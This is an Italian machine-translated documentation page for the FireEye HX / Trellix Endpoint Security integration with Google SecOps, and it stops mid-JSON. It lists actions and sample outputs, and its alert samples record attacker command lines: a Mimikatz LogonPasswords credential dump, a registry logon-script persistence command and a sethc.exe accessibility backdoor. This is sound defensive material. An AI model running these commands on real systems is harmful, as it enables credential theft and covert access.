Google utilizza la tecnologia AI per tradurre i contenuti nella tua lingua preferita. Le traduzioni generate dall'AI potrebbero contenere errori.

FireEye HX

Questo documento descrive come integrare FireEye HX con Google Security Operations.

Configura l'integrazione di FireEye HX in Google Security Operations

Per istruzioni dettagliate su come configurare un'integrazione in Google SecOps, consulta Configura le integrazioni.

Parametri di integrazione

Utilizza i seguenti parametri per configurare l'integrazione:

Nome visualizzato del parametro	Tipo	Valore predefinito	Is Mandatory	Descrizione
Nome istanza	Stringa	N/D	No	Nome dell'istanza per cui intendi configurare l'integrazione.
Descrizione	Stringa	N/D	No	Descrizione dell'istanza.
Server	Stringa	https://x.x.x.x:<port>	Sì	Indirizzo dell'istanza di Trellix Endpoint Security.
Nome utente	Stringa	N/D	Sì	L'indirizzo email dell'utente da utilizzare per connettersi a Trellix Endpoint Security.
Password	Password	N/D	Sì	La password dell'utente corrispondente.
Verifica SSL	Casella di controllo	Selezionata	Sì	Utilizza questa casella di controllo se la connessione a Trellix Endpoint Security richiede una verifica SSL (selezionata per impostazione predefinita).
Esegui da remoto	Casella di controllo	Deselezionata	No	Seleziona il campo per eseguire l'integrazione configurata da remoto. Una volta selezionata, viene visualizzata l'opzione per selezionare l'utente remoto (agente).

Azioni

Annulla contenimento host

Utilizza l'azione Annulla contenimento host per rimuovere un host dal contenimento sul server Trellix Endpoint Security in base alle entità Indirizzo IP o Nome host di Google SecOps.

Input azione

L'azione Annulla isolamento host richiede i seguenti parametri:

Parametro	Descrizione
`Agent Id`	Optional ID agente dell'host da rimuovere dal contenimento. Se non viene fornito, l'azione tenta di risolvere l'ID agente dalle entità Hostname o Address collegate.

Output azione

L'azione Annulla isolamento host fornisce i seguenti output:

Tipo di output dell'azione	Disponibilità
Allegato della bacheca richieste	Non disponibile
Link alla bacheca casi	Non disponibile
Tabella della bacheca casi	Non disponibile
Tabella di arricchimento	Non disponibile
Risultato JSON	Non disponibile
Risultato dello script	Disponibile

Risultato dello script

La tabella seguente elenca il valore per l'output del risultato dello script quando utilizzi l'azione Annulla isolamento host:

Nome del risultato dello script	Valore
`is_success`	`true` o `false`

Messaggi di output dell'azione

L'azione Annulla contenimento host fornisce i seguenti messaggi di output:

Messaggio di output	Descrizione del messaggio
`Successfully requested to cancel host containment.`	Azione riuscita.
`Error executing action "Cancel Host Contain". Reason: ERROR_REASON`	Azione non riuscita. Controlla la connessione al server, i parametri di input o le credenziali.

Controlla lo stato di contenimento

Utilizza l'azione Controlla lo stato di contenimento per controllare lo stato di contenimento di un host in Trellix Endpoint Security.

Input azione

L'azione Controlla lo stato di contenimento richiede i seguenti parametri:

Parametro	Descrizione
`Agent Id`	Optional ID agente dell'host per cui controllare lo stato di contenimento. Se non viene fornito, l'azione tenta di risolvere l'ID agente dalle entità Hostname o Indirizzo IP allegate.

Output azione

L'azione Check Containment Status fornisce i seguenti output:

Tipo di output dell'azione	Disponibilità
Allegato della bacheca richieste	Non disponibile
Link alla bacheca casi	Non disponibile
Tabella della bacheca casi	Non disponibile
Tabella di arricchimento	Non disponibile
Risultato JSON	Disponibile
Risultato dello script	Disponibile

Risultato JSON

L'esempio seguente mostra l'output del risultato JSON ricevuto quando si utilizza l'azione Verifica stato di contenimento:

{
  "operation_results": {
    "agent-123": {
      "operation": "containment_status",
      "result": "success",
      "status": "contained",
      "reason": null
    }
  },
  "device_metadata": {}
}

Risultato dello script

La tabella seguente elenca il valore dell'output del risultato dello script quando utilizzi l'azione Verifica stato di contenimento:

Nome del risultato dello script	Valore
`is_success`	`true` o `false`

Messaggi di output dell'azione

L'azione Controlla stato di contenimento fornisce i seguenti messaggi di output:

Messaggio di output	Descrizione del messaggio
`Successfully checked containment status for specified host.`	Azione riuscita.
`Error executing action "Check Containment Status". Reason: ERROR_REASON`	Azione non riuscita. Controlla la connessione al server, i parametri di input o le credenziali.

Contenere host

Descrizione

Crea un'attività di contenimento dell'host sul server Trellix Endpoint Security in base all'IP di Google SecOps o alle entità Google SecOps dell'host.

Parametri

Parametro	Tipo	Valore predefinito	Is Mandatory	Descrizione
ID agente	Stringa	N/D	No	ID agente dell'host da contenere. Se non viene fornito, l'azione tenterà di risolvere l'ID agente dalle entità Hostname o Address collegate.
Approva contenimento	Casella di controllo	Deselezionata	Sì	Specifica se una richiesta di contenimento per l'host deve essere approvata automaticamente per creare un'attività di contenimento dell'host sul server Trellix Endpoint Security. Se non viene approvata automaticamente, una richiesta di contenimento può essere approvata nella console web di Trellix Endpoint Security.

Esegui il

Questa azione viene eseguita sulle seguenti entità:

Indirizzo IP
Nome host

Risultati dell'azione

Risultato script

Nome del risultato dello script	Opzioni di valore	Esempio
is_success	Vero/Falso	is_success:False

Risultato JSON

N/A

Ricevi avvisi

Descrizione

Ricevi avvisi di sicurezza di Trellix Endpoint Security in base all'entità Google SecOps e alle condizioni di ricerca fornite. L'azione funziona sulle entità Google SecOps host o IP.

Parametri

Nome visualizzato del parametro	Tipo	Valore predefinito	Is Mandatory	Descrizione
Limite	Numero intero	N/D	No	Il numero di avvisi che l'azione deve restituire, ad esempio 100.
Has Share Mode	Elenco a discesa _(valore predefinito = qualsiasi)_	_default = any_	No	Filtra gli avvisi attivati da indicatori con una modalità di condivisione specifica. _Valori disponibili: any, restricted e unrestricted._
Stato di risoluzione degli avvisi	Elenco a discesa _(valore predefinito = qualsiasi)_	_default = any_	No	Filtra gli avvisi in base allo stato di risoluzione. Valori disponibili: _any, active_threat, alert, block, partial_block._
Avviso segnalato nelle ultime x ore	Numero intero	N/D	No	Filtra gli avvisi segnalati nelle ultime x ore, ad esempio nelle ultime 4 ore.
Origine avviso	Elenco a discesa _(valore predefinito = qualsiasi)_	_default = any_	No	Origine dell'avviso. Valori disponibili: any, exd (rilevamento di exploit), mal (avviso di malware), ioc (indicatore di compromissione).
ID condizione	Stringa	N/D	No	Filtra gli avvisi in base a un identificatore di condizione specifico.
ID avviso	Stringa	N/D	No	Restituisce un avviso specifico in base all'identificatore dell'avviso.

Esegui il

Questa azione viene eseguita sulle seguenti entità:

Indirizzo IP
Nome host

Risultati dell'azione

Risultato script

Nome del risultato dello script	Opzioni di valore	Esempio
is_success	Vero/Falso	is_success:False

Risultato JSON

[
    {
        "EntityResult": [{
            "indicator": {
                "category": "Mandiant",
                "display_name": "MIMIKATZ SUSPICIOUS PROCESS ARGUMENTS (METHODOLOGY)",
                "name": "MIMIKATZ SUSPICIOUS PROCESS ARGUMENTS (METHODOLOGY)",
                "url": "/hx/api/v3/indicators/mandiant/b7eae353_be50_44cf_8773_7067e9c66d7b",
                "signature": null,
                "_id": "b7eae353-be50-44cf-8773-7067e9c66d7b",
                "uri_name": "b7eae353-be50-44cf-8773-7067e9c66d7b"
            },
            "event_id": 12880,
            "event_values": {
                "processEvent/processCmdLine": "at  13:00 \\\"C:\\\\TMP\\\\mim.exe sekurlsa::LogonPasswords > C:\\\\TMP\\\\o.txt\\\"",
                "processEvent/parentPid": 4832,
                "processEvent/md5": "e2a9c62b47f64525f7eb0cb8d637ff90",
                "processEvent/processPath": "C:\\\\Windows\\\\System32\\\\at.exe",
                "processEvent/parentProcess": "cmd.exe",
                "processEvent/timestamp": "2020-05-29T10:21:03.419Z",
                "processEvent/startTime": "2020-05-29T10:21:03.419Z",
                "processEvent/process": "at.exe",
                "processEvent/username": "DOMAIN-COM\\\\Administrator",
                "processEvent/pid": 7332,
                "processEvent/parentProcessPath": "C:\\\\Windows\\\\System32\\\\cmd.exe",
                "processEvent/eventType": "start"
            },
            "event_type": "processEvent",
            "subtype": null,
            "reported_at": "2020-05-29T10:24:05.410Z",
            "decorators": [],
            "md5values": ["e2a9c62b47f64525f7eb0cb8d637ff90"],
            "appliance": {
                "_id": "86B7F11ACF8D"
            },
            "agent": {
                "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP",
                "_id": "FqNP4ybCdrlfVqG3lrCvRP",
                "containment_state": "normal"
            },
            "is_false_positive": false,
            "event_at": "2020-05-29T10:21:03.419Z",
            "source": "IOC",
            "matched_at": "2020-05-29T10:23:22.000Z",
            "decorator_statuses": [],
            "url": "/hx/api/v3/alerts/88",
            "_id": 88,
            "resolution": "ALERT",
            "condition": {
                "url": "/hx/api/v3/conditions/yirelRwhiuXlF0bQhTL4GA==",
                "_id": "yirelRwhiuXlF0bQhTL4GA=="
            },
            "matched_source_alerts": []
        }],
        "Entity": "PC-01"
    }
]

Ottieni dettagli del gruppo di avvisi

Descrizione

Ottieni i dettagli completi del gruppo di avvisi fornito in base al relativo ID.

Parametri

Nome visualizzato del parametro	Tipo	Valore predefinito	Is Mandatory	Descrizione
ID gruppi di avvisi	Stringa	N/D	Sì	Specifica un elenco separato da virgole di ID gruppi di avvisi per i quali vuoi recuperare i dettagli.

Esegui il

Questa azione non viene eseguita sulle entità, ha un parametro di input obbligatorio.

Risultati dell'azione

Risultato script

Nome del risultato dello script	Opzioni di valore	Esempio
is_success	Vero/Falso	is_success:False

Risultato JSON

{
    "details": [],
    "route": "/hx/api/v3/alert_groups/id",
    "data": {
        "_id": "622d3688031aa40faa4bd86028841276",
        "assessment": "[Process reg.exe started] MIMIKATZ SUSPICIOUS PROCESS ARGUMENTS (METHODOLOGY)",
        "file_full_path": "C:\\Windows\\System32\\reg.exe",
        "first_event_at": "2020-08-06T06:32:55.761Z",
        "last_event_at": "2020-08-06T06:32:55.761Z",
        "dispositions": [],
        "source": "IOC",
        "has_fp_disposition": false,
        "last_alert": {
            "_id": 729,
            "agent": {
                "_id": "QKQ0SinOZUbehz5AgFXQhX",
                "url": "/hx/api/v3/hosts/QKQ0SinOZUbehz5AgFXQhX",
                "hostname": "HW-HOST-024",
                "containment_state": "normal"
            },
            "condition": {
                "_id": "yirelRwhiuXlF0bQhTL4GA==",
                "url": "/hx/api/v3/conditions/yirelRwhiuXlF0bQhTL4GA=="
            },
            "event_at": "2020-08-06T06:32:55.761+00:00",
            "matched_at": "2020-08-06T06:37:55+00:00",
            "reported_at": "2020-12-18T14:03:18.856+00:00",
            "source": "IOC",
            "resolution": "ALERT",
            "decorators": [],
            "md5values": [
                "05cf3ce225b05b669e3118092f4c8eab"
            ],
            "decorator_sources": [],
            "decorator_statuses": [],
            "url": "/hx/api/v3/alerts/729",
            "event_id": 207,
            "event_type": "processEvent",
            "event_values": {
                "processEvent/timestamp": "2020-08-06T06:32:55.761Z",
                "processEvent/eventType": "start",
                "processEvent/pid": 10356,
                "processEvent/processPath": "C:\\Windows\\System32\\reg.exe",
                "processEvent/process": "reg.exe",
                "processEvent/parentPid": 9456,
                "processEvent/parentProcessPath": "C:\\Windows\\System32\\cmd.exe",
                "processEvent/parentProcess": "cmd.exe",
                "processEvent/username": "FIREEYE-LAB\\Administrator",
                "processEvent/startTime": "2020-08-06T06:32:55.761Z",
                "processEvent/md5": "05cf3ce225b05b669e3118092f4c8eab",
                "processEvent/processCmdLine": "REG  ADD HKCU\\Environment /f /v UserInitMprLogonScript /t REG_MULTI_SZ /d \"C:\\TMP\\mim.exe sekurlsa::LogonPasswords > C:\\TMP\\o.txt\""
            },
            "is_false_positive": false
        },
        "generic_alert_badge": null,
        "generic_alert_label": null,
        "stats": {
            "events": 1
        },
        "url": "/hx/api/v3/alert_groups/622d3688031aa40faa4bd86028841276",
        "created_at": "2020-12-18T14:03:24.535Z",
        "acknowledgement": {
            "acknowledged": false,
            "acknowledged_by": null,
            "acknowledged_time": null,
            "comment": null,
            "comment_update_time": null
        },
        "grouped_by": {
            "condition_id": "yirelRwhiuXlF0bQhTL4GA==",
            "detected_by": "ioc_engine",
            "host": {
                "_id": "QKQ0SinOZUbehz5AgFXQhX",
                "url": "/hx/api/v3/hosts/QKQ0SinOZUbehz5AgFXQhX",
                "hostname": "HW-HOST-024",
                "primary_ip_address": "172.30.202.55"
            }
        }
    },
    "message": "OK"
}

Bacheca casi

Tipo di risultato

Valore/Descrizione

Tipo

Messaggio di output*

Successo per 1 (is_success=true): Recupero dei dettagli dei seguenti gruppi di avvisi in Trellix Endpoint Security riuscito: {alert group ids}

Unsuccess for 1 (is_success=true): l'azione non è riuscita a recuperare i dettagli sui seguenti gruppi di avvisi in Trellix Endpoint Security: {alert group ids}

Non riuscito per tutti (is_success=false): nessuno dei gruppi di avvisi forniti è stato trovato in Trellix Endpoint Security.

Generale

Bacheca casi

Nome: Dettagli gruppo di avvisi

Colonna:

Valutazione
ID gruppo di avvisi
Primo evento
Ultimo evento
Confermato
ID ultima cronologia avvisi

Generale

Ricevi avvisi nel gruppo di avvisi

Descrizione

Recupera tutti gli avvisi trovati nel gruppo di avvisi specificato

Parametri

Nome visualizzato del parametro	Tipo	Valore predefinito	Is Mandatory	Descrizione
ID gruppo di avvisi	Stringa	N/D	Sì	Specifica un elenco separato da virgole di ID gruppi di avvisi per i quali vuoi recuperare i dettagli.
Limite	Numero intero	50	No	Specifica il numero massimo di elenchi di avvisi restituiti dall'API per il gruppo di avvisi. Il valore predefinito è 50.

Esegui il

Questa azione non viene eseguita sulle entità, ha un parametro di input obbligatorio.

Risultati dell'azione

Risultato script

Nome del risultato dello script	Opzioni di valore	Esempio
is_success	Vero/Falso	is_success:False

Risultato JSON

{
    "data": {
        "total": 2,
        "query": {},
        "sort": {},
        "offset": 0,
        "limit": 50,
        "entries": [
            {
                "_id": 712,
                "agent": {
                    "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                    "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                    "containment_state": "normal"
                },
                "condition": {
                    "_id": "2npvcLf_arxPaH717hQZ9g==",
                    "url": "/hx/api/v3/conditions/2npvcLf_arxPaH717hQZ9g=="
                },
                "indicator": {
                    "_id": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "url": "/hx/api/v3/indicators/mandiant/f0e49db2_1c28_4529_a426_73251d92de7d",
                    "name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "uri_name": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "display_name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "signature": null,
                    "category": "Mandiant"
                },
                "event_at": "2020-12-10T08:04:09.521Z",
                "matched_at": "2020-12-10T08:04:43.000Z",
                "reported_at": "2020-12-10T08:04:49.607Z",
                "source": "IOC",
                "subtype": null,
                "matched_source_alerts": [],
                "resolution": "ALERT",
                "is_false_positive": false,
                "decorators": [],
                "md5values": [],
                "decorator_statuses": [],
                "url": "/hx/api/v3/alerts/712",
                "event_id": 853899,
                "event_type": "regKeyEvent",
                "event_values": {
                    "regKeyEvent/timestamp": "2020-12-10T08:04:09.521Z",
                    "regKeyEvent/hive": "HKEY_LOCAL_MACHINE\\SOFTWARE",
                    "regKeyEvent/keyPath": "Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe",
                    "regKeyEvent/path": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\\Debugger",
                    "regKeyEvent/eventType": 1,
                    "regKeyEvent/pid": 8800,
                    "regKeyEvent/process": "reg.exe",
                    "regKeyEvent/processPath": "C:\\Windows\\System32",
                    "regKeyEvent/valueName": "Debugger",
                    "regKeyEvent/valueType": "REG_SZ",
                    "regKeyEvent/value": "QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGMAbQBkAC4AZQB4AGUAAAA=",
                    "regKeyEvent/text": "C:\\Windows\\System32\\cmd.exe",
                    "regKeyEvent/username": "FIREEYE-LAB\\Administrator"
                },
                "appliance": {
                    "_id": "86B7F11ACF8D"
                }
            },
            {
                "_id": 723,
                "agent": {
                    "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                    "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                    "containment_state": "normal"
                },
                "condition": {
                    "_id": "2npvcLf_arxPaH717hQZ9g==",
                    "url": "/hx/api/v3/conditions/2npvcLf_arxPaH717hQZ9g=="
                },
                "indicator": {
                    "_id": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "url": "/hx/api/v3/indicators/mandiant/f0e49db2_1c28_4529_a426_73251d92de7d",
                    "name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "uri_name": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "display_name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "signature": null,
                    "category": "Mandiant"
                },
                "event_at": "2020-12-10T09:26:14.114Z",
                "matched_at": "2020-12-10T09:26:56.000Z",
                "reported_at": "2020-12-10T09:27:08.735Z",
                "source": "IOC",
                "subtype": null,
                "matched_source_alerts": [],
                "resolution": "ALERT",
                "is_false_positive": false,
                "decorators": [],
                "md5values": [],
                "decorator_statuses": [],
                "url": "/hx/api/v3/alerts/723",
                "event_id": 880771,
                "event_type": "regKeyEvent",
                "event_values": {
                    "regKeyEvent/timestamp": "2020-12-10T09:26:14.114Z",
                    "regKeyEvent/hive": "HKEY_LOCAL_MACHINE\\SOFTWARE",
                    "regKeyEvent/keyPath": "Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe",
                    "regKeyEvent/path": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\\Debugger",
                    "regKeyEvent/eventType": 1,
                    "regKeyEvent/pid": 8740,
                    "regKeyEvent/process": "reg.exe",
                    "regKeyEvent/processPath": "C:\\Windows\\System32",
                    "regKeyEvent/valueName": "Debugger",
                    "regKeyEvent/valueType": "REG_SZ",
                    "regKeyEvent/value": "QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGMAbQBkAC4AZQB4AGUAAAA=",
                    "regKeyEvent/text": "C:\\Windows\\System32\\cmd.exe",
                    "regKeyEvent/username": "FIREEYE-LAB\\Administrator"
                },
                "appliance": {
                    "_id": "86B7F11ACF8D"
                }
            }
        ]
    },
    "message": "OK",
    "details": [],
    "route": "/hx/api/v3/alert_groups/group_id/alerts"
}

Bacheca casi

Tipo di risultato	Valore/Descrizione	Tipo
Messaggio di output*	Successo per 1 (is_success=true): i dettagli relativi ai seguenti gruppi di avvisi in Trellix Endpoint Security sono stati recuperati correttamente: {alert group ids} Unsuccess for 1 (is_success=true): l'azione non è riuscita a recuperare i dettagli sui seguenti gruppi di avvisi in Trellix Endpoint Security: {alert group ids} Non riuscito per tutti (is_success=false): nessuno dei gruppi di avvisi forniti è stato trovato in Trellix Endpoint Security.	Generale
Bacheca casi	Nome: "Trellix Endpoint Security Alert Group +{alert_group_id) Alerts" Colonna: ID avviso Trellix Endpoint Security Nome indicatore Data/ora evento Tempo di corrispondenza Data e ora del report Origine Tipo di evento	Generale

Tipo di risultato

Valore/Descrizione

Tipo

Messaggio di output*

Successo per 1 (is_success=true): i dettagli relativi ai seguenti gruppi di avvisi in Trellix Endpoint Security sono stati recuperati correttamente: {alert group ids}

Unsuccess for 1 (is_success=true): l'azione non è riuscita a recuperare i dettagli sui seguenti gruppi di avvisi in Trellix Endpoint Security: {alert group ids}

Non riuscito per tutti (is_success=false): nessuno dei gruppi di avvisi forniti è stato trovato in Trellix Endpoint Security.

Generale

Bacheca casi

Nome: "Trellix Endpoint Security Alert Group +{alert_group_id) Alerts"

Colonna:

ID avviso Trellix Endpoint Security
Nome indicatore
Data/ora evento
Tempo di corrispondenza
Data e ora del report
Origine
Tipo di evento

Generale

Recupero file

Utilizza l'azione Get File (Scarica file) per creare un'attività di acquisizione file su un host FireEye HX.

Input azione

L'azione Get File richiede i seguenti parametri:

Parametro	Descrizione
`Agent Id`	Optional ID agente dell'host da cui acquisire il file. Se non viene fornito, l'azione tenta di risolvere l'ID agente dalle entità Hostname o Indirizzo IP allegate.
`File Path`	Obbligatorio Percorso completo del file da acquisire sull'endpoint di destinazione (ad esempio, `C:\Windows\System32\notepad.exe` o `/tmp/malware.sh`).
`Use API Mode`	Optional Se selezionata, l'acquisizione dei file utilizza le API del file system del sistema operativo anziché le letture del disco non elaborate. Obbligatorio per gli endpoint Linux. Non selezionato per impostazione predefinita.
`External Id`	Optional Identificatore esterno personalizzato da associare all'attività di acquisizione file.

Output azione

L'azione Get File fornisce i seguenti output:

Tipo di output dell'azione	Disponibilità
Allegato della bacheca richieste	Non disponibile
Link alla bacheca casi	Non disponibile
Tabella della bacheca casi	Non disponibile
Tabella di arricchimento	Non disponibile
Risultato JSON	Disponibile
Risultato dello script	Disponibile

Risultato JSON

L'esempio seguente mostra l'output del risultato JSON ricevuto quando si utilizza l'azione Recupera file:

{
  "agent_id": "KE7IdyTFl9fcUyHoPVKOWe",
  "file_name": "notepad.exe",
  "file_path": "C:\\windows\\system32",
  "acquisition_id": 14,
  "_id": 14,
  "_revision": "20241031012314519770835082",
  "error_message": null,
  "comment": null,
  "state": "COMPLETE",
  "md5": "c5b188ac73d5dca677cf5712f65de5af",
  "zip_file_size": "178427",
  "request_time": "2024-10-31T01:21:50Z",
  "request_actor": {
    "_id": 1011,
    "username": "md_services"
  },
  "req_path": "C:\\windows\\system32",
  "req_filename": "notepad.exe",
  "req_multifile_parameters": {
    "isMultiFile": false
  },
  "req_use_api": false,
  "zip_passphrase": "unzip-me",
  "external_id": "File Acquisition Alert_ee345c69-5b84-4b7a-81a4-ea205fc5cd51",
  "finish_time": "2024-10-31T01:23:14.519Z",
  "indicator": null,
  "url": "/hx/api/v3/acqs/files/14",
  "host": {
    "_id": "KE7IdyTFl9fcUyHoPVKOWe",
    "url": "/hx/api/v3/hosts/KE7IdyTFl9fcUyHoPVKOWe"
  },
  "alert": null,
  "condition": null,
  "download_path": "/tmp/example_acquisition.zip"
}

Risultato dello script

La tabella seguente elenca il valore per l'output del risultato dello script quando utilizzi l'azione Recupera file:

Nome del risultato dello script	Valore
`is_success`	`true` o `false`

Messaggi di output dell'azione

L'azione Get File fornisce i seguenti messaggi di output:

Messaggio di output	Descrizione del messaggio
`Successfully acquired file from host.`	Azione riuscita.
`Error executing action "Get File". Reason: ERROR_REASON`	Azione non riuscita. Controlla la connessione al server, i parametri di input o le credenziali.

Ottieni informazioni sull'host

Descrizione

Arricchisci le entità host o IP di Google SecOps in base alle informazioni di Trellix Endpoint Security.

Esegui il

Questa azione viene eseguita sulle seguenti entità:

Indirizzo IP
Nome host

Risultati dell'azione

Risultato script

Nome del risultato dello script	Opzioni di valore	Esempio
is_success	Vero/Falso	is_success:False

Risultato JSON

[
    {
        "EntityResult": {
            "last_alert": {
                "url": "/hx/api/v3/alerts/254",
                "_id": 254
            },
            "domain": "EXAMPLE-COM",
            "last_exploit_block_timestamp": null,
            "containment_state": "normal",
            "timezone": "\\u05e9\\u05e2\\u05d5\\u05df \\u05e7\\u05d9\\u05e5 \\u05d9\\u05e8\\u05d5\\u05e9\\u05dc\\u05d9\\u05dd",
            "gmt_offset_seconds": 10800,
            "initial_agent_checkin": "2020-05-29T10:11:12.022Z",
            "stats": {
                "alerting_conditions": 10,
                "exploit_alerts": 0,
                "acqs": 4,
                "malware_false_positive_alerts": 0,
                "alerts": 10,
                "exploit_blocks": 0,
                "false_positive_alerts": 0,
                "malware_cleaned_count": 0,
                "malware_alerts": 0,
                "false_positive_alerts_by_source": {},
                "generic_alerts": 0,
                "malware_quarantined_count": 0
            },
            "primary_mac": "00-50-56-11-22-33",
            "hostname": "HW-HOST-025",
            "primary_ip_address": "1.1.1.1",
            "last_audit_timestamp": "2020-06-01T09:10:38.752Z",
            "last_alert_timestamp": "2020-06-01T08:02:30.817+00:00",
            "containment_queued": false,
            "sysinfo": {
                "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP/sysinfo"
            },
            "last_exploit_block": null,
            "reported_clone": false,
            "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP",
            "excluded_from_containment": false,
            "last_poll_timestamp": "2020-06-01T09:10:36.000Z",
            "last_poll_ip": "1.1.1.1",
            "containment_missing_software": false,
            "_id": "FqNP4ybCdrlfVqG3lrCvRP",
            "os": {
                "kernel_version": null,
                "platform": "win",
                "patch_level": null,
                "bitness": "64-bit",
                "product_name": "Windows 10 Pro"
            },
            "agent_version": "32.30.0"
        },
        "Entity": "PC-01"
    }
]

Ottieni indicatore

Descrizione

Ricevi informazioni su un indicatore specifico dal server Trellix Endpoint Security.

Parametri

Nome visualizzato del parametro	Tipo	Valore predefinito	Is Mandatory	Descrizione
Categoria di indicatori	Stringa	N/D	Sì	Specifica il valore uri_name della categoria dell'indicatore. uri_name può essere trovato eseguendo l'azione "Get Indicators".
Nome indicatore	Stringa	N/D	Sì	Specifica il valore uri_name dell'indicatore. uri_name può essere trovato eseguendo l'azione "Get Indicators".

Esegui il

Questa azione viene eseguita su tutte le entità.

Risultati dell'azione

Risultato script

Nome del risultato dello script	Opzioni di valore	Esempio
is_success	Vero/Falso	is_success:False

Risultato JSON

{
    "category": {
        "url": "/hx/api/v3/indicator_categories/mandiant_unrestricted",
        "_id": 7,
        "uri_name": "mandiant_unrestricted",
        "name": "Mandiant Unrestricted Intel",
        "share_mode": "unrestricted"
    },
    "display_name": "FIREEYE END2END TEST",
    "description": "IOC used for testing HX appliances and content packages to ensure that things work end to end",
    "create_actor": {
        "username": "mandiant",
        "_id": 3
    },
    "active_since": "2020-05-28T13:08:08.513Z",
    "url": "/hx/api/v3/indicators/mandiant_unrestricted/2b4753b0_9972_477e_ba16_1a7c29058cee",
    "_revision": "20200528130929238120103414",
    "create_text": "General_Windows_unrestricted_2020.05.270833",
    "created_by": "General_Windows_unrestricted_2020.05.270833",
    "update_actor": {
        "username": "mandiant",
        "_id": 3
    },
    "meta": null,
    "signature": null,
    "platforms": ["win\", \"osx\", \"linux"],
    "stats": {
        "source_alerts": 0,
        "alerted_agents": 1,
        "active_conditions": 7
    },
    "_id": "2b4753b0-9972-477e-ba16-1a7c29058cee",
    "uri_name": "2b4753b0-9972-477e-ba16-1a7c29058cee",
    "name": "FIREEYE END2END TEST"
}

Ottieni indicatori

Descrizione

Ottieni informazioni sugli indicatori di compromissione (IoC) dal server Trellix Endpoint Security in base ai parametri di ricerca forniti.

Parametri

Nome visualizzato del parametro	Tipo	Valore predefinito	Is Mandatory	Descrizione
Categoria di indicatori	Stringa	N/D	No	La categoria dell'indicatore.
Termine di ricerca	Stringa	N/D	No	Il termine di ricerca può essere qualsiasi nome, categoria, firma, origine o valore di condizione.
Limite	Stringa	N/D	No	Il numero di indicatori che l'azione deve restituire, ad esempio 100.
Modalità di condivisione	Elenco a discesa _(valore predefinito = qualsiasi)_	_default = any_	No	Filtra gli indicatori in base alla modalità di condivisione specifica. _Valori disponibili: any, restricted, unrestricted._
Ordina per campo	Stringa	N/D	No	Ordina i risultati in base al campo specificato in ordine crescente.
Creato da	Stringa	N/D	No	Filtra gli indicatori in base all'autore.
Ha avvisi associati	Casella di controllo	N/D	No	Specifica se devono essere restituiti solo gli indicatori con avvisi associati.

Esegui il

Questa azione viene eseguita su tutte le entità.

Risultati dell'azione

Risultato script

Nome del risultato dello script	Opzioni di valore	Esempio
is_success	Vero/Falso	is_success:False

Risultato JSON

[
    {
        "category": {
            "url": "/hx/api/v3/indicator_categories/mandiant_unrestricted",
            "_id": 7,
            "uri_name": "mandiant_unrestricted",
            "name": "Mandiant Unrestricted Intel",
            "share_mode": "unrestricted"
        },
        "display_name": "FIREEYE END2END TEST",
        "description": "IOC used for testing HX appliances and content packages to ensure that things work end to end",
        "create_actor": {
            "username": "mandiant",
            "_id": 3
        },
        "active_since": "2020-05-28T13:08:08.513Z",
        "url": "/hx/api/v3/indicators/mandiant_unrestricted/2b4753b0_9972_477e_ba16_1a7c29058cee",
        "_revision": "20200528130929238120103414",
        "create_text": "General_Windows_unrestricted_2020.05.270833",
        "created_by": "General_Windows_unrestricted_2020.05.270833",
        "update_actor": {
            "username": "mandiant",
            "_id": 3
        },
        "meta": null,
        "signature": null,
        "platforms": ["win", "osx", "linux"],
        "stats": {
            "source_alerts": 0,
            "alerted_agents": 1,
            "active_conditions": 7
        },
        "_id": "2b4753b0-9972-477e-ba16-1a7c29058cee",
        "uri_name": "2b4753b0-9972-477e-ba16-1a7c29058cee",
        "name": "FIREEYE END2END TEST"
    }
]

Ottieni l'elenco delle acquisizioni di file per l'host

Descrizione

Ottieni un elenco delle acquisizioni di file richieste per l'host dal server Trellix Endpoint Security. L'azione funziona su entità Google SecOps host o IP.

Parametri

Nome visualizzato del parametro	Tipo	Valore predefinito	Is Mandatory	Descrizione
Termine di ricerca	Stringa	N/D	No	Cerca tutte le acquisizioni di file per gli host connessi al server Trellix Endpoint Security. search_term può essere qualsiasi valore di condizione.
Limite	Stringa	N/D	No	Il numero di record che l'azione deve restituire, ad esempio 100.
Campo filtro	Stringa	N/D	No	Elenca solo i risultati con il valore del campo specificato. I risultati possono essere filtrati in base all'identificatore di correlazione esterno (external_id).

Esegui il

Questa azione viene eseguita sulle seguenti entità:

Indirizzo IP
Nome host

Risultati dell'azione

Risultato script

Nome del risultato dello script	Opzioni di valore	Esempio
is_success	Vero/Falso	is_success:False

Risultato JSON

[
    {
        "EntityResult": [{
            "comment": " ",
            "zip_passphrase": "unzip-me",
            "indicator": {
                "url": null,
                "_id": "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "request_actor": {
                "username": "admin",
                "_id": 1000
            },
            "request_time": "2020-06-01T08:43:14.000Z",
            "finish_time": "2020-06-01T08:46:39.156Z",
            "_revision": "20200601084639156575147403",
            "error_message": "The acquisition completed with issues.",
            "req_use_api": false,
            "alert": {
                "url": null,
                "_id": "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "url": "/hx/api/v3/acqs/files/9",
